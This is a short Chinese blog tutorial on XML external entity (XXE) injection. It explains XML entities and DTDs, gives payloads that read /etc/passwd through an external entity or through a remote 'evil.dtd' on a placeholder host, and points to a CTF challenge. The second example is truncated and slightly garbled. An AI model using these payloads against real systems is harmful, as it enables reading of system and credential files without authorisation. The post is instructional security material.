XXE

作者: 喵了个咪0 | 来源:发表于2019-04-09 18:34 被阅读0次

    一:XML

    1.所有xml文档都由5种简单的构造模块(元素,属性,实体,PCDATA CDATA)构成。

    2.实体:是由定义引用普通文本或特殊字符的快捷方式的变量,实体应用是对实体的引用。实体可以在内部或者外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的

    3.xml实体分为四种:字符实体,命名实体,外部实体,参数实体

    4.文档类型定义:DTD   

    DTD的作用是定义xml文档的合法构建模块。因此可以利用DTD来内部或外部的实体应用

    5.内部引用:

    <!ENTITY 实体名称 "实体的值">

    将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE xxe [

    <!ENTITY chybeta "Hello World!">

    ]>

    <xxe>

    &chybeta;

    </xxe>

    访问该XML文档,&chybeta;会被解析为Hello World!并输出。

    6.外部引入

    基本格式:

    <!ENTITY 实体名称 SYSTEM "URI">

    <!ENTITY xxe(实体引用名) system "file:///etc/passwd"(实体内容)>]>

    通过引用定义在外部的DTD中的实体,我们称之为外部实体,有system和public两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议:  file | http | php

    xxe漏洞主要利用的是外部实体,

    二: XXE存在的风险与利用

    XXE 也就是xml外部实体注入

    xml注入的方法,

    方法一:

    直接通过DTD外部实体声明

    XML内容:

    <?xml version="1.0"?>

    <!DOCTYPE a [

            <!ENTITY b SYSTEM "file:///etc/passwd">

    ]>

    <c>&b;</c>

    方法二:

    XML内容:

    <?xml version="1.0"?>

    <!DOCTYPE a SYSTEM "http:///123.com/evil.dtd">

    <c>$b;</c>

    DTD文件内容:

    file:///etc/passwd">

    三:通过ctf题进一步了解一下xxe(在jsonp种中玩xxe)

    网址:https://www.jarvisoj.com/challenges

    题目:api调用

    题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值

    修改content-type和传递的参数,下面是地区本地的敏感信息

    读取flag

    相关文章

      网友评论

          本文标题:XXE

          本文链接:https://www.haomeiwen.com/subject/nveriqtx.html